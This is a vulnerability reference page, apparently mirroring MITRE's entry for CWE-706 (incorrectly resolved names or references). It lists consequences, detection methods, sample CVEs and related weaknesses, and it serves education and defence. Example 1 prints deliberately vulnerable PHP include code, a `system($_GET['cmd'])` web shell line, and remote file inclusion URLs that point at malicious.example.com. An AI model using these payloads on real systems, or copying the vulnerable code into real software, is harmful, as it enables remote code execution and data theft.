---
title: "CWE-706: Use of Incorrectly-Resolved Name or Reference"
url: https://radicalnotion.ai/cwe/cwe-706
type: cwe
description: "The product uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere."
updated: 2026-11-10
source: RadicalNotion.AI
license: CC BY-NC 4.0 (https://creativecommons.org/licenses/by-nc/4.0/)
---

# CWE-706: Use of Incorrectly-Resolved Name or Reference

- **Abstraction:** Class
- **Structure:** Simple
- **Status:** Incomplete
- **CVEs with this as primary weakness:** 151
- **Of those, in CISA KEV:** 2
- **New in 2026:** 86
- **CWE catalog version:** 4.21

## Description

The product uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.

## Modes of introduction

| Phase | Note |
| --- | --- |
| Architecture and Design | - |
| Implementation | - |

## Common consequences

| Scope | Impact | Note |
| --- | --- | --- |
| Confidentiality, Integrity | Read Application Data, Modify Application Data | - |

## Detection methods

### Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

## Demonstrative examples

### Example 1

The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module\_name' parameter and appending the string '/function.php' to it.

Bad code:

```php
$dir = $_GET['module_name'];
include($dir . "/function.php");
```

Attack code:

```
victim.php?module_name=http://malicious.example.com
```

Bad code:

```php
system($_GET['cmd']);
```

Attack code:

```
victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l
```

Attack code:

```
/bin/ls -l
```

### Example 2

This script intends to read a user-supplied file from the current directory. The user inputs the relative path to the file and the script uses Python's os.path.join() function to combine the path to the current working directory with the provided path to the specified file. This results in an absolute path to the desired file. If the file does not exist when the script attempts to read it, an error is printed to the user.

Bad code:

```python
import os
import sys
def main():
    filename = sys.argv[1]
    path = os.path.join(os.getcwd(), filename)
    try:
        with open(path, 'r') as f:
            file_data = f.read()
    except FileNotFoundError as e:
        print("Error - file not found")
main()
```

Good code:

```python
import os
import sys
def main():
    filename = sys.argv[1]
    path = os.path.normpath(f"{os.getcwd()}{os.sep}{filename}")
    if path.startswith("/home/cwe/documents/"):
        try:
            with open(path, 'r') as f:
                file_data = f.read()
        except FileNotFoundError as e:
            print("Error - file not found")
main()
```

## Real CVEs with this weakness (sample of 12 of 151)

| CVE | Title | Severity | CVSS | EPSS | CISA KEV | Published |
| --- | --- | --- | --- | --- | --- | --- |
| CVE-2021-40539 | Zoho ManageEngine ADSelfService Plus Authentication Bypass Vulnerability | critical | 9.3 | - | Yes | 2021-09-07 |
| CVE-2020-15505 | Ivanti MobileIron Multiple Products Remote Code Execution Vulnerability | critical | 9.3 | - | Yes | 2020-07-07 |
| CVE-2026-65816 | Azure Arc Elevation of Privilege Vulnerability | critical | 10.0 | - | No | 2026-08-20 |
| CVE-2019-9901 | EnvoyProxy Envoy Missing HTTP URL path normalization | critical | 10.0 | - | No | 2019-04-25 |
| CVE-2026-92262 | MariaDB: Numerous issues caused by historical #mysql50# tablename encoding bypass. | critical | 9.9 | - | No | 2026-10-16 |
| CVE-2023-31814 | - | critical | 9.8 | - | No | 2023-05-23 |
| CVE-2022-30257 | - | critical | 9.8 | - | No | 2022-11-21 |
| CVE-2022-30258 | - | critical | 9.8 | - | No | 2022-11-21 |
| CVE-2020-12279 | libgit2: NTFS protections inactive when running Git in the Windows Subsystem for Linux | critical | 9.8 | - | No | 2020-04-27 |
| CVE-2020-12278 | libgit2: files inside the .git directory may be overwritten during cloning via NTFS Alternate Data Streams | critical | 9.8 | - | No | 2020-04-27 |
| CVE-2020-10574 | - | critical | 9.8 | - | No | 2020-03-14 |
| CVE-2019-8908 | - | critical | 9.8 | - | No | 2019-02-18 |

## Related attack patterns (CAPEC)

- [CAPEC-159](https://radicalnotion.ai/capec/capec-159): Redirect Access to Libraries
- [CAPEC-177](https://radicalnotion.ai/capec/capec-177): Create files with the same name as files protected with a higher classification
- [CAPEC-48](https://radicalnotion.ai/capec/capec-48): Passing Local Filenames to Functions That Expect a URL
- [CAPEC-641](https://radicalnotion.ai/capec/capec-641): DLL Side-Loading

## Related weaknesses

| Relationship | CWE | Name |
| --- | --- | --- |
| Parent | [CWE-664](https://radicalnotion.ai/cwe/cwe-664) | Improper Control of a Resource Through its Lifetime |
| Child | [CWE-22](https://radicalnotion.ai/cwe/cwe-22) | Improper Limitation of a Pathname to a Restricted Directory |
| Child | [CWE-41](https://radicalnotion.ai/cwe/cwe-41) | Improper Resolution of Path Equivalence |
| Child | [CWE-59](https://radicalnotion.ai/cwe/cwe-59) | Improper Link Resolution Before File Access |
| Child | [CWE-66](https://radicalnotion.ai/cwe/cwe-66) | Improper Handling of File Names that Identify Virtual Resources |
| Child | [CWE-98](https://radicalnotion.ai/cwe/cwe-98) | Improper Control of Filename for Include/Require Statement in PHP Program |
| Child | [CWE-178](https://radicalnotion.ai/cwe/cwe-178) | Improper Handling of Case Sensitivity |
| Child | [CWE-386](https://radicalnotion.ai/cwe/cwe-386) | Symbolic Name not Mapping to Correct Object |
| Child | [CWE-827](https://radicalnotion.ai/cwe/cwe-827) | Improper Control of Document Type Definition |
| Peer | [CWE-99](https://radicalnotion.ai/cwe/cwe-99) | Improper Control of Resource Identifiers |

## Frequently asked questions

### What is CWE-706?

The product uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.

### What CVEs are caused by CWE-706?

151 recorded CVEs are attributed to CWE-706, including CVE-2021-40539, CVE-2020-15505 and CVE-2026-65816. 2 are listed in CISA's Known Exploited Vulnerabilities (KEV) catalog.

### How is CWE-706 detected?

Automated Static Analysis: Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

### What are the consequences of CWE-706?

Exploiting CWE-706 can lead to: Read Application Data, Modify Application Data.

### Is CWE-706 actively exploited?

Yes. 2 CWE-706 vulnerabilities are in CISA's KEV catalog of actively exploited flaws, out of 151 recorded CVEs.

Primary source: [MITRE CWE](https://cwe.mitre.org/data/definitions/706.html)

---

Source: [RadicalNotion.AI](https://radicalnotion.ai/cwe/cwe-706). Licensed CC BY-NC 4.0; attribute RadicalNotion.AI and link the source page when you reuse this data.
